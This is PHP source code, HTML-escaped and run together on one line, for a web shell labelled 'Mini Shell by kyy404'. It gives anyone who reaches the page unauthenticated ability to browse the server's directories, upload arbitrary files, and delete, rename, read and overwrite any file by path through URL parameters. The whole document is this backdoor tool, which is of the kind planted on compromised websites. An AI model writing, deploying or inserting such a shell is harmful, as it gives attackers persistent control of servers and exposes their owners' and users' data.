$dir = isset($_GET[&#039;dir&#039;]) ? $_GET[&#039;dir&#039;] : getcwd();$files = scandir($dir);$dir = realpath($dir);// CSS simple clean dark modeecho &quot;&lt;style&gt;body { background: #121212; color: #f1f1f1; font-family: monospace; padding: 20px; }a { color: #03a9f4; text-decoration: none; }a:hover { text-decoration: underline; }form, textarea { margin-top: 15px; }input, textarea { background: #1e1e1e; color: #fff; border: 1px solid #333; padding: 6px; border-radius: 5px; }ul { list-style: none; padding: 0; }li { margin: 5px 0; }button { background: #03a9f4; color: #000; border: none; padding: 6px 10px; border-radius: 5px; cursor: pointer; }&lt;/style&gt;&quot;;echo &quot;<h2>Mini Shell by kyy404</h2>&quot;;echo &quot;&lt;p&gt;📂 Dir: $dir&lt;/p&gt;&quot;;// Uploadecho &quot;<form>  &lt;input type=&#039;file&#039; name=&#039;upload&#039;&gt;  &lt;button type=&#039;submit&#039; name=&#039;go&#039;&gt;Upload&lt;/button&gt;</form>&quot;;if (isset($_POST[&#039;go&#039;])) {    $file = $_FILES[&#039;upload&#039;][&#039;name&#039;];    if (move_uploaded_file($_FILES[&#039;upload&#039;][&#039;tmp_name&#039;], &quot;$dir/$file&quot;)) {        echo &quot;&lt;p&gt;✅ Uploaded: $file&lt;/p&gt;&quot;;    } else {        echo &quot;&lt;p&gt;❌ Upload failed.&lt;/p&gt;&quot;;    }}// File listecho &quot;&lt;ul&gt;&quot;;if ($dir != &quot;/&quot;) {    echo &quot;&lt;li&gt;&lt;a href=&#039;?dir=&quot;.dirname($dir).&quot;&#039;&gt;🔙 Back&lt;/a&gt;&lt;/li&gt;&quot;;}foreach ($files as $file) {    if ($file === &quot;.&quot;) continue;    $path = &quot;$dir/$file&quot;;    $isDir = is_dir($path);    echo &quot;&lt;li&gt;&quot;.($isDir ? &quot;📁&quot; : &quot;📄&quot;).&quot; &lt;a href=&#039;?dir=$path&#039;&gt;$file&lt;/a&gt;&quot;;    if (is_file($path)) {        echo &quot; | &lt;a href=&#039;?edit=$path&#039;&gt;✏️ Edit&lt;/a&gt;&quot;;    }    echo &quot; | &lt;a href=&#039;?del=$path&#039; onclick=\&quot;return confirm(&#039;Delete $file?&#039;)\&quot;&gt;🗑️ Delete&lt;/a&gt;&quot;;    echo &quot; | &lt;a href=&#039;?rename=$path&#039;&gt;✍️ Rename&lt;/a&gt;&lt;/li&gt;&quot;;}echo &quot;&lt;/ul&gt;&quot;;// Deleteif (isset($_GET[&#039;del&#039;])) {    $target = $_GET[&#039;del&#039;];    if (is_dir($target)) {        rmdir($target) ? print(&quot;&lt;p&gt;✅ Folder deleted.&lt;/p&gt;&quot;) : print(&quot;&lt;p&gt;❌ Failed to delete folder.&lt;/p&gt;&quot;);    } else {        unlink($target) ? print(&quot;&lt;p&gt;✅ File deleted.&lt;/p&gt;&quot;) : print(&quot;&lt;p&gt;❌ Failed to delete file.&lt;/p&gt;&quot;);    }}// Renameif (isset($_GET[&#039;rename&#039;])) {    $old = $_GET[&#039;rename&#039;];    echo &quot;<form>        &lt;input name=&#039;newname&#039; value=&#039;&quot;.basename($old).&quot;&#039; required&gt;        &lt;button name=&#039;renamego&#039;&gt;Rename&lt;/button&gt;    </form>&quot;;    if (isset($_POST[&#039;renamego&#039;])) {        $new = dirname($old).&quot;/&quot;.$_POST[&#039;newname&#039;];        rename($old, $new) ? print(&quot;&lt;p&gt;✅ Renamed.&lt;/p&gt;&quot;) : print(&quot;&lt;p&gt;❌ Rename failed.&lt;/p&gt;&quot;);    }}// Editif (isset($_GET[&#039;edit&#039;])) {    $target = $_GET[&#039;edit&#039;];    echo &quot;<form>      &lt;textarea name=&#039;content&#039; rows=&#039;20&#039; cols=&#039;100&#039;&gt;&quot;.htmlspecialchars(file_get_contents($target)).&quot;&lt;/textarea&gt;<br>      &lt;button name=&#039;save&#039;&gt;Save&lt;/button&gt;    </form>&quot;;    if (isset($_POST[&#039;save&#039;])) {        file_put_contents($target, $_POST[&#039;content&#039;]);        echo &quot;&lt;p&gt;✅ Saved.&lt;/p&gt;&quot;;    }}